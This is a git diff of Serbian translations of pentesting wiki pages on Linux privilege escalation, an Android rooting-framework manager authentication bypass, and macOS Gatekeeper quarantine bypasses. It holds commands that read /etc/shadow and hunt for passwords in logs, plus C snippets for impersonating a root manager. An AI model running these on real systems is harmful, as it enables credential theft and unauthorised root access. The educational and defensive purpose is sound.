configuration values - **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. - **PubkeyAuthentication:** Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je `yes`. @@ -1181,7 +1181,7 @@ Ako se pronađe bilo koji čudan profil skript, trebali biste ga proveriti na ** ### Passwd/Shadow Fajlovi -U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** da biste videli **da li postoje heševi** unutar fajlova: +U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** da vidite **da li postoje heševi** unutar fajlova: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1216,7 +1216,7 @@ su - dummy ``` NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe je `/etc/shadow` preimenovan u `/etc/spwd.db`. -Trebalo bi da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **fajl za konfiguraciju servisa**? +Trebalo bi da proverite da li možete **da pišete u neke osetljive fajlove**. Na primer, da li možete da pišete u neki **fajl za konfiguraciju servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1284,7 +1284,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Poznati fajlovi koji sadrže lozinke +### Poznate datoteke koje sadrže lozinke Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on traži **several possible files that could contain passwords**.\ **Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje mnogih lozinki sačuvanih na lokalnom računaru za Windows, Linux i Mac. @@ -1292,7 +1292,7 @@ Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalatio ### Logovi Ako možete da čitate logove, možda ćete moći da pronađete **interesting/confidential information inside them**. Što je log čudniji, to će biti zanimljiviji (verovatno).\ -Takođe, neki "**bad**" konfigurisan (backdoored?) **audit logs** mogu vam omogućiti da **record passwords** unutar audit logova kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Takođe, neki "**bad**" konfigurirani (backdoored?) **audit logs** mogu vam omogućiti da **record passwords** unutar audit logova kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1312,7 +1312,7 @@ Da biste **pročitali logove, grupa** [**adm**](interesting-groups-linux-pe/inde ``` ### Generic Creds Search/Regex -Trebalo bi da proverite datoteke koje sadrže reč "**password**" u svom **imenu** ili unutar **sadržaja**, kao i da proverite IP adrese i emailove unutar logova, ili regex-ove za hash-ove.\ +Trebalo bi da proverite datoteke koje sadrže reč "**password**" u svom **imenu** ili unutar **sadržaja**, kao i da proverite IP adrese i emailove unutar logova, ili regexove za hashove.\ Neću ovde nabrajati kako da uradite sve ovo, ali ako ste zainteresovani, možete proveriti poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) vrši. ## Writable files @@ -1336,7 +1336,7 @@ Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tec Možete iskoristiti ovu ranljivost sa [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete povećati privilegije zamenjujući logove simboličkim linkovima. +Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logovi),** tako da kada god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete povećati privilegije zamenom logova simboličkim linkovima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1356,7 +1356,7 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, i rc.d** -Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. @@ -1426,9 +1426,9 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android rooting frameworks: zloupotreba menadžera-kanala +## Android okviri za rootovanje: zloupotreba menadžera-kanala -Android rooting framework-ovi obično povezuju syscall kako bi izložili privilegovanu funkcionalnost jezgra menadžeru korisničkog prostora. Slaba autentifikacija menadžera (npr., provere potpisa zasnovane na FD-redosledu ili loši šemama lozinki) može omogućiti lokalnoj aplikaciji da se pretvara da je menadžer i eskalira na root na već-rootovanim uređajima. Saznajte više i detalje o eksploataciji ovde: +Okviri za rootovanje Android-a obično povezuju syscall kako bi izložili privilegovanu funkcionalnost jezgra menadžeru korisničkog prostora. Slaba autentifikacija menadžera (npr. provere potpisa zasnovane na FD-redosledu ili loši šemama lozinki) može omogućiti lokalnoj aplikaciji da se pretvara da je menadžer i eskalira na root na već rootovanim uređajima. Saznajte više i detalje o eksploataciji ovde: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md diff --git a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c7a008039..6eed1be15 100644 --- a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -4,7 +4,7 @@ Okvir za rootovanje kao što su KernelSU, APatch, SKRoot i Magisk često zakrpljuju Linux/Android kernel i izlažu privilegovanu funkcionalnost neprivilegovanom korisničkom "menadžer" aplikaciji putem uhvaćenog syscall-a. Ako je korak autentifikacije menadžera neispravan, bilo koja lokalna aplikacija može doći do ovog kanala i eskalirati privilegije na već rootovanim uređajima. -Ova stranica apstrahuje tehnike i zamke otkrivene u javnim istraživanjima (posebno Zimperium-ova analiza KernelSU v0.5.7) kako bi pomogla i crvenim i plavim timovima da razumeju površine napada, primitivne eksploatacije i robusne mitigacije. +Ova stranica apstrahuje tehnike i zamke otkrivene u javnim istraživanjima (posebno Zimperium-ova analiza KernelSU v0.5.7) kako bi pomogla i crvenim i plavim timovima da razumeju površine napada, primitivne metode eksploatacije i robusne mere zaštite. --- ## Arhitektonski obrazac: syscall-uhvaćen menadžerski kanal @@ -49,7 +49,7 @@ Ako sve provere prođu, kernel privremeno kešira UID menadžera i prihvata priv Ako provera potpisa vezuje za "prvi odgovarajući /data/app/*/base.apk" pronađen u FD tabeli procesa, zapravo ne verifikuje paket pozivaoca. Napadač može unapred postaviti legitimno potpisan APK (pravog menadžera) tako da se pojavi ranije u FD listi od svog vlastitog base.apk. -Ovo poverenje putem indirekcije omogućava neprivilegovanoj aplikaciji da se pretvara da je menadžer bez posedovanja menadžerskog ključa za potpisivanje. +Ovo poverenje putem indirekcije omogućava neprivilegovanoj aplikaciji da se pretvara da je menadžer bez posedovanja menadžerovog ključa za potpisivanje. Ključne osobine koje se koriste: - FD skeniranje se ne vezuje za identitet paketa pozivaoca; samo se podudara sa putanjama. @@ -70,14 +70,14 @@ Visok nivo koraka: 1) Izgradite validnu putanju do svog direktorijuma podataka aplikacije da zadovoljite provere prefiksa i vlasništva. 2) Osigurajte da je pravi KernelSU Manager base.apk otvoren na FD-u sa nižim brojem od vašeg vlastitog base.apk. 3) Pozovite prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) da prođete provere. -4) Izdajte privilegovane komande kao što su CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY da zadržite povišenje. +4) Izdajte privilegovane komande kao što su CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY da zadržite elevaciju. Praktične napomene o koraku 2 (redosled FD): - Identifikujte FD vašeg procesa za vaš vlastiti /data/app/*/base.apk tako što ćete proći kroz /proc/self/fd symlinks. - Zatvorite nizak FD (npr., stdin, fd 0) i prvo otvorite legitimni menadžer APK tako da zauzme fd 0 (ili bilo koji indeks niži od vašeg vlastitog base.apk fd). - Uključite legitimni menadžer APK sa vašom aplikacijom tako da njegova putanja zadovoljava naivni filter kernela. Na primer, stavite ga pod podputanju koja odgovara /data/app/*/base.apk. -Primer kodnih snimaka (Android/Linux, samo ilustrativno): +Primeri kodova (Android/Linux, samo ilustrativno): Enumerišite otvorene FDs da locirate base.apk unose: ```c @@ -107,7 +107,7 @@ closedir(d); return best_fd; // First (lowest) matching fd } ``` -Primorajte da niže numerisani FD usmeri na legitimni manager APK: +Primorajte da niži FD pokazuje na legitimni manager APK: ```c #include #include @@ -141,38 +141,38 @@ return (int)result; ``` After success, privileged commands (examples): - CMD_GRANT_ROOT: promovisi trenutni proces na root -- CMD_ALLOW_SU: dodajte svoj paket/UID na listu dozvoljenih za trajni su -- CMD_SET_SEPOLICY: prilagodite SELinux politiku prema podršci okvira +- CMD_ALLOW_SU: dodaj svoj paket/UID na listu dozvoljenih za persistent su +- CMD_SET_SEPOLICY: prilagodi SELinux politiku kako to podržava framework Race/persistence tip: -- Registrujte BOOT_COMPLETED receiver u AndroidManifest (RECEIVE_BOOT_COMPLETED) da biste započeli rano nakon ponovnog pokretanja i pokušali autentifikaciju pre pravog menadžera. +- Registruj BOOT_COMPLETED receiver u AndroidManifest (RECEIVE_BOOT_COMPLETED) da bi se pokrenuo rano nakon ponovnog pokretanja i pokušao autentifikaciju pre pravog menadžera. --- ## Detection and mitigation guidance For framework developers: -- Povežite autentifikaciju sa paketom/UID pozivaoca, a ne sa proizvoljnim FD-ovima: -- Rešite paket pozivaoca iz njegovog UID-a i verifikujte protiv potpisa instaliranog paketa (putem PackageManager-a) umesto skeniranja FD-ova. -- Ako je samo kernel, koristite stabilni identitet pozivaoca (task creds) i validirajte na stabilnom izvoru istine koji upravlja init/userspace pomoćnikom, a ne procesnim FD-ovima. -- Izbegavajte provere putanje kao identitet; one su trivijalno zadovoljavajuće od strane pozivaoca. -- Koristite nonce-bazirani izazov–odgovor preko kanala i obrišite bilo koji keširani identitet menadžera pri pokretanju ili na ključnim događajima. -- Razmotrite IPC sa autentifikacijom zasnovanom na binderu umesto preopterećenja generičkih syscalls kada je to izvodljivo. +- Poveži autentifikaciju sa pozivateljevim paketom/UID, a ne sa proizvoljnim FD-ovima: +- Reši pozivateljev paket iz njegovog UID-a i verifikuj protiv potpisa instaliranog paketa (putem PackageManager-a) umesto skeniranja FD-ova. +- Ako je samo kernel, koristi stabilnu identitet pozivatelja (task creds) i validiraj na stabilnom izvoru istine koji upravlja init/userspace helper, a ne procesnim FD-ovima. +- Izbegavaj provere putanje kao identitet; one su trivijalno zadovoljavajuće od strane pozivatelja. +- Koristi nonce-bazirani izazov–odgovor preko kanala i obriši bilo koji keširani identitet menadžera pri pokretanju ili na ključnim događajima. +- Razmotri IPC sa autentifikacijom zasnovanom na binderu umesto preopterećenja generičkih syscalls kada je to izvodljivo. For defenders/blue team: -- Otkrivanje prisustva rooting okvira i procesa menadžera; pratite prctl pozive sa sumnjivim magičnim konstantama (npr., 0xDEADBEEF) ako imate kernel telemetriju. -- Na upravljanim flotama, blokirajte ili upozorite na boot receiver-e iz nepouzdanih paketa koji brzo pokušavaju privilegovane komande menadžera nakon pokretanja. -- Osigurajte da su uređaji ažurirani na zakrpljene verzije okvira; poništite keširane ID-eve menadžera prilikom ažuriranja. +- Otkrivanje prisustva rooting framework-a i procesa menadžera; prati prctl pozive sa sumnjivim magičnim konstantama (npr., 0xDEADBEEF) ako imaš kernel telemetriju. +- Na upravljanim flotama, blokiraj ili obavesti o boot receiver-ima iz nepouzdanih paketa koji brzo pokušavaju privilegovane komande menadžera nakon pokretanja. +- Osiguraj da su uređaji ažurirani na zakrpljene verzije framework-a; invalidiraj keširane ID-eve menadžera prilikom ažuriranja. Limitations of the attack: -- Pogađa samo uređaje koji su već rootovani sa ranjivim okvirom. -- Obično zahteva ponovni pokretanje/race prozor pre nego što legitimni menadžer autentifikuje (neki okviri keširaju UID menadžera do resetovanja). +- Pogađa samo uređaje koji su već rootovani sa ranjivim framework-om. +- Obično zahteva ponovno pokretanje/race prozor pre nego što legitimni menadžer autentifikuje (neki framework-i keširaju UID menadžera do resetovanja). --- ## Related notes across frameworks - Autentifikacija zasnovana na lozinkama (npr., istorijski APatch/SKRoot build-ovi) može biti slaba ako su lozinke pogađane/bruteforce-ovane ili su validacije sa greškama. -- Autentifikacija zasnovana na paketu/potpisu (npr., KernelSU) je jača u principu, ali mora biti povezana sa stvarnim pozivaocem, a ne indirektnim artefaktima poput FD skeniranja. -- Magisk: CVE-2024-48336 (MagiskEoP) je pokazao da čak i zreli ekosistemi mogu biti podložni lažiranju identiteta što dovodi do izvršavanja koda sa root privilegijama unutar konteksta menadžera. +- Autentifikacija zasnovana na paketu/potpisu (npr., KernelSU) je jača u principu, ali mora biti povezana sa stvarnim pozivateljem, a ne indirektnim artefaktima poput FD skeniranja. +- Magisk: CVE-2024-48336 (MagiskEoP) je pokazao da čak i zreli ekosistemi mogu biti podložni lažiranju identiteta što dovodi do izvršavanja koda sa root-om unutar konteksta menadžera. --- ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index fea996e6c..0db9205ba 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -10,21 +10,21 @@ Ključni mehanizam Gatekeeper-a leži u njegovom **procesu verifikacije**. Prove Dodatno, Gatekeeper pojačava kontrolu i bezbednost korisnika tako što **traži od korisnika da odobri otvaranje** preuzetog softvera prvi put. Ova zaštita pomaže u sprečavanju korisnika da nenamerno pokrenu potencijalno štetan izvršni kod koji su možda zamislili kao bezopasan podatkovni fajl. -### Application Signatures +### Potpisi Aplikacija Potpisi aplikacija, takođe poznati kao potpisi koda, su ključna komponenta Apple-ove bezbednosne infrastrukture. Koriste se za **verifikaciju identiteta autora softvera** (programera) i za osiguranje da kod nije menjan od poslednjeg potpisivanja. Evo kako to funkcioniše: -1. **Potpisivanje aplikacije:** Kada je programer spreman da distribuira svoju aplikaciju, **potpisuje aplikaciju koristeći privatni ključ**. Ovaj privatni ključ je povezan sa **sertifikatom koji Apple izdaje programeru** kada se upiše u Apple Developer Program. Proces potpisivanja uključuje kreiranje kriptografskog haša svih delova aplikacije i enkriptovanje ovog haša privatnim ključem programera. -2. **Distribucija aplikacije:** Potpisana aplikacija se zatim distribuira korisnicima zajedno sa sertifikatom programera, koji sadrži odgovarajući javni ključ. -3. **Verifikacija aplikacije:** Kada korisnik preuzme i pokuša da pokrene aplikaciju, njihov Mac operativni sistem koristi javni ključ iz sertifikata programera da dekriptuje haš. Zatim ponovo izračunava haš na osnovu trenutnog stanja aplikacije i upoređuje ga sa dekriptujućim hašem. Ako se poklapaju, to znači da **aplikacija nije modifikovana** od kada ju je programer potpisao, i sistem dozvoljava pokretanje aplikacije. +1. **Potpisivanje Aplikacije:** Kada je programer spreman da distribuira svoju aplikaciju, on **potpisuje aplikaciju koristeći privatni ključ**. Ovaj privatni ključ je povezan sa **sertifikatom koji Apple izdaje programeru** kada se prijavi u Apple Developer Program. Proces potpisivanja uključuje kreiranje kriptografskog haša svih delova aplikacije i enkriptovanje ovog haša privatnim ključem programera. +2. **Distribucija Aplikacije:** Potpisana aplikacija se zatim distribuira korisnicima zajedno sa sertifikatom programera, koji sadrži odgovarajući javni ključ. +3. **Verifikacija Aplikacije:** Kada korisnik preuzme i pokuša da pokrene aplikaciju, njihov Mac operativni sistem koristi javni ključ iz sertifikata programera da dekriptuje haš. Zatim ponovo izračunava haš na osnovu trenutnog stanja aplikacije i upoređuje ga sa dekripovanim hašem. Ako se poklapaju, to znači da **aplikacija nije modifikovana** od kada ju je programer potpisao, i sistem dozvoljava pokretanje aplikacije. Potpisi aplikacija su esencijalni deo Apple-ove Gatekeeper tehnologije. Kada korisnik pokuša da **otvori aplikaciju preuzetu sa interneta**, Gatekeeper verifikuje potpis aplikacije. Ako je potpisana sertifikatom koji je Apple izdao poznatom programeru i kod nije menjan, Gatekeeper dozvoljava pokretanje aplikacije. U suprotnom, blokira aplikaciju i obaveštava korisnika. -Počevši od macOS Catalina, **Gatekeeper takođe proverava da li je aplikacija notarizovana** od strane Apple-a, dodajući dodatni sloj bezbednosti. Proces notarizacije proverava aplikaciju na poznate bezbednosne probleme i zlonamerni kod, i ako ove provere prođu, Apple dodaje tiket aplikaciji koji Gatekeeper može da verifikuje. +Počevši od macOS Catalina, **Gatekeeper takođe proverava da li je aplikacija notarizovana** od strane Apple-a, dodajući dodatni sloj bezbednosti. Proces notarizacije proverava aplikaciju na poznate bezbednosne probleme i zlonamerni kod, i ako ovi provere prođu, Apple dodaje tiket aplikaciji koji Gatekeeper može da verifikuje. -#### Check Signatures +#### Proveri Potpise Kada proveravate neki **uzorak zlonamernog softvera**, uvek treba da **proverite potpis** binarnog fajla jer **programer** koji ga je potpisao može već biti **povezan** sa **zlonamernim softverom.** ```bash @@ -49,7 +49,7 @@ Apple-ov proces notarizacije služi kao dodatna zaštita za korisnike od potenci Ako softver **prođe** ovu inspekciju bez podizanja bilo kakvih zabrinutosti, Notarizaciona Usluga generiše notarizacionu kartu. Razvojna osoba je zatim obavezna da **priključi ovu kartu svom softveru**, proces poznat kao 'stapling.' Pored toga, notarizaciona karta se takođe objavljuje online gde joj Gatekeeper, Apple-ova bezbednosna tehnologija, može pristupiti. -Prilikom prve instalacije ili izvršavanja softvera od strane korisnika, postojanje notarizacione karte - bilo da je priključena izvršnom fajlu ili pronađena online - **obaveštava Gatekeeper da je softver notarizovan od strane Apple-a**. Kao rezultat, Gatekeeper prikazuje opisnu poruku u dijalogu za početno pokretanje, ukazujući da je softver prošao provere za maliciozni sadržaj od strane Apple-a. Ovaj proces tako poboljšava poverenje korisnika u bezbednost softvera koji instaliraju ili pokreću na svojim sistemima. +Prilikom prve instalacije ili izvršavanja softvera od strane korisnika, postojanje notarizacione karte - bilo da je priključena izvršnom fajlu ili pronađena online - **obaveštava Gatekeeper da je softver notarizovan od strane Apple-a**. Kao rezultat toga, Gatekeeper prikazuje opisnu poruku u dijalogu za inicijalno pokretanje, ukazujući da je softver prošao provere za maliciozni sadržaj od strane Apple-a. Ovaj proces tako poboljšava poverenje korisnika u bezbednost softvera koji instaliraju ili pokreću na svojim sistemima. ### spctl & syspolicyd @@ -86,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an ``` **`syspolicyd`** takođe izlaže XPC server sa različitim operacijama kao što su `assess`, `update`, `record` i `cancel` koje su takođe dostupne koristeći **`Security.framework`'s `SecAssessment*`** API-je, a **`spctl`** zapravo komunicira sa **`syspolicyd`** putem XPC. -Obratite pažnju kako je prvo pravilo završilo sa "**App Store**" a drugo sa "**Developer ID**" i da je u prethodnoj slici bilo **omogućeno izvršavanje aplikacija iz App Store-a i identifikovanih developera**.\ +Obratite pažnju kako je prvo pravilo završilo sa "**App Store**" a drugo sa "**Developer ID**" i da je u prethodnoj slici bilo **omogućeno izvršavanje aplikacija iz App Store-a i od identifikovanih developera**.\ Ako **izmenite** tu postavku na App Store, pravila "**Notarized Developer ID" će nestati**. Takođe postoji hiljade pravila **tipa GKE**: @@ -305,33 +305,33 @@ I pronađite sve zaražene datoteke sa: ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -Quarantine information is also stored in a central database managed by LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS. +Quarantine informacije se takođe čuvaju u centralnoj bazi podataka koju upravlja LaunchServices u **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, što omogućava GUI-ju da dobije podatke o poreklu datoteka. Štaviše, ovo može biti prepisano od strane aplikacija koje bi mogle biti zainteresovane da sakriju svoje poreklo. Takođe, ovo se može uraditi putem LaunchServices APIS. #### **libquarantine.dylib** Ova biblioteka izvozi nekoliko funkcija koje omogućavaju manipulaciju poljima proširenih atributa. -The `qtn_file_*` APIs deal with file quarantine policies, the `qtn_proc_*` APIs are applied to processes (files created by the process). The unexported `__qtn_syscall_quarantine*` functions are the ones that applies the policies which calls `mac_syscall` with "Quarantine" as first argument which sends the requests to `Quarantine.kext`. +`qtn_file_*` API-ji se bave politikama karantina datoteka, dok se `qtn_proc_*` API-ji primenjuju na procese (datoteke koje kreira proces). Neizvođene `__qtn_syscall_quarantine*` funkcije su one koje primenjuju politike koje pozivaju `mac_syscall` sa "Quarantine" kao prvim argumentom, što šalje zahteve ka `Quarantine.kext`. #### **Quarantine.kext** -Kernel ekstenzija je dostupna samo kroz **kernel cache on the system**; međutim, _možete_ preuzeti **Kernel Debug Kit from** [**https://developer.apple.com/**](https://developer.apple.com/), which will contain a symbolicated version of the extension. +Kernel ekstenzija je dostupna samo kroz **kernel cache na sistemu**; međutim, _možete_ preuzeti **Kernel Debug Kit sa** [**https://developer.apple.com/**](https://developer.apple.com/), koji će sadržati simboličku verziju ekstenzije. -This Kext will hook via MACF several calls in order to traps all file lifecycle events: Creation, opening, renaming, hard-linkning... even `setxattr` to prevent it from setting the `com.apple.quarantine` extended attribute. +Ova Kext će uhvatiti putem MACF nekoliko poziva kako bi uhvatila sve događaje životnog ciklusa datoteka: Kreiranje, otvaranje, preimenovanje, hard-linkovanje... čak i `setxattr` da spreči postavljanje `com.apple.quarantine` proširenog atributa. -It also uses a couple of MIBs: +Takođe koristi nekoliko MIB-ova: -- `security.mac.qtn.sandbox_enforce`: Enforce quarantine along Sandbox -- `security.mac.qtn.user_approved_exec`: Querantined procs can only execute approved files +- `security.mac.qtn.sandbox_enforce`: Sprovodi karantin zajedno sa Sandbox-om +- `security.mac.qtn.user_approved_exec`: Karantinske procese mogu izvršavati samo odobrene datoteke -#### Provenance xattr (Ventura and later) +#### Provenance xattr (Ventura i kasnije) -macOS 13 Ventura introduced a separate provenance mechanism which is populated the first time a quarantined app is allowed to run. Two artefacts are created: +macOS 13 Ventura je uveo poseban mehanizam porekla koji se popunjava prvi put kada je karantinskoj aplikaciji dozvoljeno da se pokrene. Dva artefakta se kreiraju: -- The `com.apple.provenance` xattr on the `.app` bundle directory (fixed-size binary value containing a primary key and flags). -- A row in the `provenance_tracking` table inside the ExecPolicy database at `/var/db/SystemPolicyConfiguration/ExecPolicy/` storing the app’s cdhash and metadata. +- `com.apple.provenance` xattr u `.app` bundle direktorijumu (fiksna veličina binarne vrednosti koja sadrži primarni ključ i oznake). +- Red u `provenance_tracking` tabeli unutar ExecPolicy baze podataka na `/var/db/SystemPolicyConfiguration/ExecPolicy/` koji čuva cdhash aplikacije i metapodatke. -Practical usage: +Praktična upotreba: ```bash # Inspect provenance xattr (if present) xattr -p com.apple.provenance /Applications/Some.app | hexdump -C @@ -344,9 +344,9 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM ``` ### XProtect -XProtect je ugrađena **anti-malware** funkcija u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatog malware-a i nesigurnih tipova datoteka. Kada preuzmete datoteku putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira datoteku. Ako se podudara sa bilo kojim poznatim malware-om u svojoj bazi podataka, XProtect će **sprečiti pokretanje datoteke** i obavestiti vas o pretnji. +XProtect je ugrađena **anti-malware** funkcija u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatih malware-a i nesigurnih tipova datoteka. Kada preuzmete datoteku putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira datoteku. Ako se podudara sa bilo kojim poznatim malware-om u svojoj bazi podataka, XProtect će **sprečiti pokretanje datoteke** i obavestiti vas o pretnji. -XProtect baza podataka se **redovno ažurira** od strane Apple-a sa novim definicijama malware-a, a ova ažuriranja se automatski preuzimaju i instaliraju na vašem Mac-u. To osigurava da je XProtect uvek ažuriran sa najnovijim poznatim pretnjama. +Baza podataka XProtect-a se **redovno ažurira** od strane Apple-a sa novim definicijama malware-a, a ova ažuriranja se automatski preuzimaju i instaliraju na vašem Mac-u. To osigurava da je XProtect uvek ažuriran sa najnovijim poznatim pretnjama. Međutim, vredi napomenuti da **XProtect nije rešenje za antivirus sa punim funkcijama**. Proverava samo specifičnu listu poznatih pretnji i ne vrši skeniranje pri pristupu kao većina antivirusnog softvera. @@ -376,7 +376,7 @@ Napomena da postoji još jedna aplikacija u **`/Library/Apple/System/Library/Cor Stoga, ranije je bilo moguće izvršiti aplikaciju da je kešira sa Gatekeeper-om, a zatim **modifikovati neizvršne datoteke aplikacije** (kao što su Electron asar ili NIB datoteke) i ako nisu bile postavljene druge zaštite, aplikacija bi bila **izvršena** sa **malicioznim** dodacima. -Međutim, sada to nije moguće jer macOS **sprečava modifikaciju datoteka** unutar paketa aplikacija. Dakle, ako pokušate napad [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), otkrićete da više nije moguće zloupotrebiti ga jer nakon izvršavanja aplikacije da je keširate sa Gatekeeper-om, nećete moći da modifikujete paket. I ako promenite, na primer, ime direktorijuma Contents u NotCon (kako je naznačeno u eksploitu), a zatim izvršite glavni binarni fajl aplikacije da je keširate sa Gatekeeper-om, izazvaće grešku i neće se izvršiti. +Međutim, sada to nije moguće jer macOS **sprečava modifikaciju datoteka** unutar paketa aplikacija. Dakle, ako pokušate napad [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), otkrićete da više nije moguće zloupotrebiti ga jer nakon izvršavanja aplikacije da je keširate sa Gatekeeper-om, nećete moći da modifikujete paket. I ako promenite, na primer, ime direktorijuma Contents u NotCon (kako je naznačeno u eksploitu), a zatim izvršite glavni binarni fajl aplikacije da je keširate sa Gatekeeper-om, to će izazvati grešku i neće se izvršiti. ## Obilaženje Gatekeeper-a @@ -408,7 +408,7 @@ Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs- ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) -Čak i ako su komponenti različiti, eksploatacija ove ranjivosti je veoma slična prethodnoj. U ovom slučaju, generisaćemo Apple Archive iz **`application.app/Contents`** tako da **`application.app` neće dobiti atribut karantina** kada se dekompresuje pomoću **Archive Utility**. +Čak i ako su komponenti različiti, eksploatacija ove ranjivosti je veoma slična prethodnoj. U ovom slučaju, generisaćemo Apple Archive iz **`application.app/Contents`** tako da **`application.app` neće dobiti atribut karantina** kada ga dekompresuje **Archive Utility**. ```bash aa archive -d test.app/Contents -o test.app.aar ``` @@ -434,7 +434,7 @@ python3 -m http.server ``` Proverite [**originalni izveštaj**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) za više informacija. -Napomena da se ovo takođe može iskoristiti sa AppleArchives: +Imajte na umu da se ovo takođe može iskoristiti sa AppleArchives: ```bash 